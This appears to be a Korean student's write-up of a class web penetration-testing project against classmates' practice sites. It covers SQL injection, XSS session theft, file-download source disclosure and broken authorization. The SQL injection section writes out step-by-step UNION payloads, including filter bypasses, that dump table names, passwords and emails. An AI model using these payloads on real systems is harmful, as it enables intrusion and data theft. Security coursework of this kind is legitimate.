- 프로젝트 설명
- 지난 한달간 진행했던 웹 모의해킹 프로젝트는 같이 공부한 학생들이 만든 웹 사이트를 공유해서 서로 모의해킹을 하고 결과보고서를 작성하는 프로젝트입니다.
- 많은 취약점들이 있지만 취약점 항목별로 1개씩만 기재하겠습니다
1. SQL Injection
1) 비회원 게시판
- search_result.php페이지에서 catgo파라미터에 해당 취약점이 발견되었습니다.
- 해당 취약점이 발견된 페이지에서 URL 주소창에 다음과 같은 파라미터를 순서대로 전송해 필요한 정보를 획득한 뒤 데이터를 추출 및 변조합니다.
char(114,101,100) union select 1,2,3,4,5,6,7,8,9%23
char(114,101,100) union select 1,database(),3,4,5,6,7,8,9%23
char(114,101,100) union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=char(98,97,115,105,99,95,100,98)%23
char(114,101,100) union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(81,78,65,98,111,97,114,100)%23
char(114,101,100) union select 1,pwd,3,4,5,6,7,8,9 from QNAboard%23
2) 주소 검색창
- address_server.php 페이지에서 해당 취약점이 발견되었습니다.
- 해당 취약점이 발견된 페이지에서 주소 검색창에 다음과 같은 파라미터를 순서대로 전송해 필요한 정보를 획득한 뒤 데이터를 추출 및 변조합니다.
- 해당 페이지에선 공백이 필터링 되어있기 때문에 /**/로 공백을 우회할 수 있습니다.
1%'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26#
1%'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26#
1%'/**/union/**/select/**/1,table_name,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26/**/from/**/information_schema.tables/**/where/**/table_schema='basic_db'#
1%'/**/union/**/select/**/1,column_name,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26/**/from/**/information_schema.columns/**/where/**/table_name='basic_table'#
1%'/**/union/**/select/**/1,db_email,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26/**/from/**/basic_table#
데이터 추출은 개인정보가 담겨있어 컬럼이름을 출력하는 화면으로 대체했습니다.
2. XSS
- read.php에서 해당 취약점이 발견되었습니다.
- 해당 취약점이 발견된 페이지에서 악성 스크립트를 삽입하여 피해자의 세션을 탈취합니다.
글을 작성한 뒤 수정하는 페이지를 프록시 도구를 이용해 접속하여 악성 스크립트를 작성합니다.
피해자가 해당 게시글을 클릭할 시 피해자의 세션값이 노출됩니다.
3. 파일 다운로드
- download.php에서 해당 취약점이 발견되었습니다.
- 게시글에 파일을 다운받을 때 download.php?file= 이부분에 웹서버의 소스코드를 다운받을 수 있습니다.
4. 불충분한 인증
- q_board_write.php에서 해당 취약점이 발견되었습니다.
- 관리자와 본인만 열람 할 수 있는 글을 파라미터 조작으로 불충분한 인증 취약점을 통해 다른 사람이 열람 할 수 있습니다.
- No 파라미터에 글번호를 조작하여 원하는 게시글로 이동하여 내용을 볼 수 있습니다.